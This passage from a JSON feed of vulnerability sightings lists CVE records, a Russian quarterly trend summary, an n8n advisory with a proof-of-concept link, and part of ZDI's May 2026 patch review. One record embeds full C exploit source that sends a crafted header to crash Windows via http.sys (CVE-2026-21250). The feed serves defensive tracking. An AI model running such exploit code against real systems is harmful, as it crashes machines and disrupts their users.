\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 - 9,2 \u0431\u0430\u043b\u043b\u0430. \u042d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432-\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0418\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0434\u043a\u043e, \u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0448\u0435\u0439 \u0438\u043c\u0435\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0431\u0449\u0438\u043c \u0442\u0440\u0435\u043d\u0434\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432. \u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043d\u0438\u0445, \u043d\u0430 \u043c\u0430\u0440\u0442 2026 \u0433. \u0432 AI-\u0430\u0433\u0435\u043d\u0442\u0435 OpenClaw \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 522 CVE, \u0438 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0440\u0438\u0437\u0438\u0441\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 OpenClaw. ClawJacked - \u044d\u0442\u043e \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 AI-\u0430\u0433\u0435\u043d\u0442.\n\n\u0412 1-\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433. \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: CVE-2025-2304 (Camaleon CMS), CVE-2026-23744 (MCPJam Inspector), CVE-2026-21858 (n8n), CVE-2026-29000 (pac4j-jwt) \u0438 CVE-2026-21962 (Oracle Fusion Middleware).\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-05-07T16:20:06.000000Z"}, {"uuid": "cbabe2d0-351f-47d8-9ca3-f35774bb7ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "Telegram/59qmJbxlXRw1hpXLsNomAnJqLLMJaCeoeuKXV4P1Fhmqb-w", "content": "", "creation_timestamp": "2026-08-29T23:00:05.981022Z"}, {"uuid": "f2f6259f-0459-40a9-bd1f-95298a170c03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "Telegram/dX35wl1WONn3hjC2VquHy4I4CJGif5LqrCMx6vW-TyG7RUE", "content": "", "creation_timestamp": "2026-08-29T23:00:06.705334Z"}, {"uuid": "ed242c1f-c2ac-4f6e-ab3d-f14267397191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-07)", "content": "", "creation_timestamp": "2026-05-07T00:00:00.000000Z"}, {"uuid": "d94fd023-8f50-40fb-b858-10a6e1384320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-07)", "content": "", "creation_timestamp": "2026-05-07T00:00:00.000000Z"}, {"uuid": "d3ec47dd-9ac2-4a40-868c-c60862b82019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "4a6327ed-b7fe-4b9e-88b7-6f2d9d6507ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "5ad6c9e9-772e-4fef-aa0d-4ada56723ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "b7561b58-0a1a-41a6-9b97-7dc85ac90b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "d7428c06-426d-4c93-961a-e36ee89a51db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/htfgtps/1095", "content": "CVE-2026-21858\n\nn8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n\nGitHub Link:\nhttps://github.com/masterwok/PoC-CVE-2026-21858", "creation_timestamp": "2026-05-09T21:21:11.000000Z"}, {"uuid": "78e886ac-be2e-410a-a7e7-6df882349f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-09)", "content": "", "creation_timestamp": "2026-05-09T00:00:00.000000Z"}, {"uuid": "3d5de7d8-f0bd-44a1-8bc4-c5819e4c6335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21006", "type": "seen", "source": "Telegram/EPECfWsuM-c4t4TOzI-5L7oV30YbkQAiF7UZVptSiNCSMQA", "content": "", "creation_timestamp": "2026-08-29T23:00:19.262638Z"}, {"uuid": "8bdf3bee-fc26-4c21-8543-690e458d4b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mljjee4t5k2g", "content": "Microsoft corrige Zero-Day cr\u00edtico en SQL Server que permite a atacantes tomar el control total como admin | CVE-2026-21262 www.newstecnicas.com/2026/03/micr...", "creation_timestamp": "2026-05-10T19:42:34.446702Z"}, {"uuid": "26402f92-bd7b-496f-9d1c-0700cafa51fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "Telegram/LMLCbCPtKqHKmPVUE-Sy6cYmEj33Wu5snoHY4cIkplvn7JY", "content": "", "creation_timestamp": "2026-07-31T22:00:02.844263Z"}, {"uuid": "a1fecb4d-14fb-490b-b155-9f636610fd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21021", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "6f8b9833-a221-4213-9993-f578fb7be7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21015", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "e576d5bf-f799-4eed-9d05-10ef68d9a901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21016", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "2380d9e9-991c-4374-bcf1-59aa48fb8c9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21018", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "d91c064b-45ae-413d-b6f3-3c485002715f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21019", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "85e84e99-172b-4b99-8649-cd1c98037e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21020", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "b43b3893-ce47-41ea-af6a-d6bde17c1f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21022", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "38327a80-7836-4b74-920d-6e6e5103e36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2151", "type": "seen", "source": "Telegram/2GOBEcnqip1k_nIIvIE3w-bxwIdIiVvDIafo-Jg_nC3bf9M", "content": "", "creation_timestamp": "2026-05-09T21:00:04.000000Z"}, {"uuid": "0d28fcb3-24d3-4d4b-8762-5367a9504cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "Telegram/2GOBEcnqip1k_nIIvIE3w-bxwIdIiVvDIafo-Jg_nC3bf9M", "content": "", "creation_timestamp": "2026-05-09T21:00:04.000000Z"}, {"uuid": "a661e189-8e66-4318-8a97-5a23b8a22c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:19.233148Z"}, {"uuid": "68927999-9785-4262-b561-c15aa00764c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "Telegram/LMLCbCPtKqHKmPVUE-Sy6cYmEj33Wu5snoHY4cIkplvn7JY", "content": "", "creation_timestamp": "2026-08-01T00:00:10.825163Z"}, {"uuid": "95d0f931-b850-472f-bad4-6c1582d80aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21250", "type": "seen", "source": "https://gist.github.com/kasem545/f0980150996f312b69917cc80eed1e24", "content": "# Exploit Title: Windows 11 24H2  - Local Privilege Escalation \n# Google Dork: inurl:http.sys \"Windows 11 24H2\" vulnerability | intitle:\"HTTP.sys\" \"CVE-2026-21250\" \"Elevation of Privilege\"\n# Date: 2026-02-27\n# Exploit Author: London foggy snow\n# Vendor Homepage: https://www.microsoft.com/en-us/msrc\n# Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys\n# Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148)\n# Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64)\n# CVE : CVE-2026-21250\n# powershell -> net start http\n\n\n\n\n#define _CRT_SECURE_NO_WARNINGS\n#include \n#include \n#include \n#include \n\n#pragma comment(lib, \"ws2_32.lib\")\n\n#define TARGET_IP \"127.0.0.1\"\n#define TARGET_PORT 80\n\nunsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\n\nchar* build_malicious_request() {\n    static char request[1024];\n    sprintf(request,\n        \"GET / HTTP/1.1\\r\\n\"\n        \"Host: localhost\\r\\n\"\n        \"X-Trigger-Ptr: \");\n\n    // Critical Pitfall: strcat truncation (core vulnerability trigger failure)\n    // Citation: \"The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers \n    // required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver, \n    // leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation.\"\n\n    strcat(request, (char*)malicious_ptr);\n    strcat(request, \"\\r\\n\"\n        \"Connection: close\\r\\n\"\n        \"\\r\\n\");\n\n    return request;\n}\n\nint trigger_blue_screen() {\n    WSADATA wsaData;\n    SOCKET client_socket;\n    struct sockaddr_in target_addr;\n    int ret;\n\n    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {\n        printf(\"WSAStartup failed, error: %d\\n\", WSAGetLastError());\n        return -1;\n    }\n\n    client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if (client_socket == INVALID_SOCKET) {\n        printf(\"socket failed, error: %d\\n\", WSAGetLastError());\n        WSACleanup();\n        return -1;\n    }\n\n    target_addr.sin_family = AF_INET;\n    target_addr.sin_port = htons(TARGET_PORT);\n    inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);\n\n    ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr));\n    if (ret == SOCKET_ERROR) {\n        printf(\"connect failed, error: %d\\n\", WSAGetLastError());\n        closesocket(client_socket);\n        WSACleanup();\n        return -1;\n    }\n    printf(\"[+] Connected to local HTTP service, sending malicious request...\\n\");\n\n    char* request = build_malicious_request();\n    ret = send(client_socket, request, (int)strlen(request), 0);\n    if (ret == SOCKET_ERROR) {\n        printf(\"send failed, error: %d\\n\", WSAGetLastError());\n        closesocket(client_socket);\n        WSACleanup();\n        return -1;\n    }\n    printf(\"[+] Malicious request sent, waiting for BSOD...\\n\");\n\n    Sleep(2000);\n    closesocket(client_socket);\n    WSACleanup();\n    return 0;\n}\n\nint main() {\n    printf(\"=== http.sys local BSOD test ===\\n\");\n    printf(\"WARNING: May cause BSOD! Save all work now!\\n\");\n    printf(\"Starting in 3 seconds...\\n\");\n    Sleep(3000);\n\n    int ret = trigger_blue_screen();\n    if (ret == 0) {\n        printf(\"Request sent. If no BSOD, check:\\n\");\n        printf(\"1. System is patched\\n\");\n        printf(\"2. HTTP service is not running\\n\");\n        printf(\"3. Port 80 is not listening\\n\");\n    }\n    else {\n        printf(\"Trigger failed.\\n\");\n    }\n\n    return 0;\n}\n            ", "creation_timestamp": "2026-05-12T17:33:08.000000Z"}, {"uuid": "902ac796-07d4-424b-9a39-ab38e82fec60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21530", "type": "seen", "source": "https://www.thezdi.com/blog/2026/5/12/the-may-2026-security-update-review", "content": "I\u2019m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn\u2019t stop Patch Tuesday from coming, and it\u2019s another big one. At least nothing is listed as being in the wild \u2013 for now. Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.\nAdobe Patches for May 2026\nFor May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-49\n    Adobe Commerce\n    15\n    Critical\n    8.7\n    No\n    2\n  \n  \n    APSB26-48\n    Adobe After Effects\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-50\n    Adobe Connect\n    2\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-51\n    Adobe Illustrator\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-47\n    Adobe Media Encoder\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-46\n    Adobe Premiere Pro\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-55\n    Adobe Substance 3D Painter\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-54\n    Adobe Substance 3D Sampler\n    1\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-53\n    Content Authenticity SDK\n    14\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-52\n    Adobe Substance 3D Designer\n    5\n    Important\n    6.3\n    No\n    3\n  \n\n    TOTAL\n    10 bulletins\n    52\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nThe obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it\u2019s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.\nMicrosoft Patches for May 2026\nThis month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client \u2013 yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.\nThis large volume of fixes follows the largest monthly release in Microsoft\u2019s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it\u2019s likely they had an AI-related component \u2013 even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it\u2019s typical for vendors to patch as much as they can before the event.\nNone of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we\u2019ve got that going for us. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:\n-    CVE-2026-41096 - Windows DNS Client Remote Code Execution VulnerabilityThis patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.\n-    CVE-2026-41089 - Windows Netlogon Remote Code Execution VulnerabilityThis update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request \u2014 no credentials, no user interaction required. Yup \u2013 that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.\n-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution VulnerabilityThis bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you\u2019re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.\n-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution VulnerabilityThis bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.\nHere\u2019s the full list of CVEs released by Microsoft for May 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"5\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  <span>CVE-2026-35435</span>\n  Azure AI Foundry\n  Elevation of Privilege Vulnerability\n  Critical\n  8.6\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35428</span>\n  Azure Cloud Shell\n  Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-42826</span>\n  Azure DevOps\n  Information Disclosure Vulnerability\n  Critical\n  10\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-32207</span>\n  Azure Machine Learning\n  Notebook Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-33109</span>\n  Azure Managed Instance\n  for Apache Cassandra Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-33844</span>\n  Azure Managed Instance\n  for Apache Cassandra Remote Code Execution Vulnerability\n  Critical\n  9\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41105</span>\n  Azure Monitor Action\n  Group Notification System Elevation of Privilege Vulnerability\n  Critical\n  8.1\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33111</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-26129</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-26164</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-33821</span>\n  Microsoft Dynamics 365\n  Customer Insights Elevation of Privilege Vulnerability\n  Critical\n  7.7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42898</span>\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40379</span>\n  Microsoft Enterprise\n  Security Token Service (ESTS) Spoofing Vulnerability\n  Critical\n  9.3\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-40363</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40358</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-34327</span>\n  Microsoft Partner\n  Center Spoofing Vulnerability\n  Critical\n  8.2\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-40365</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41103</span>\n  Microsoft SSO Plugin\n  for Jira & Confluence Elevation of Privilege Vulnerability\n  Critical\n  9.1\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33823</span>\n  Microsoft Team Events\n  Portal Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-40364</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40366</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40361</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40367</span>\n  Microsoft Word 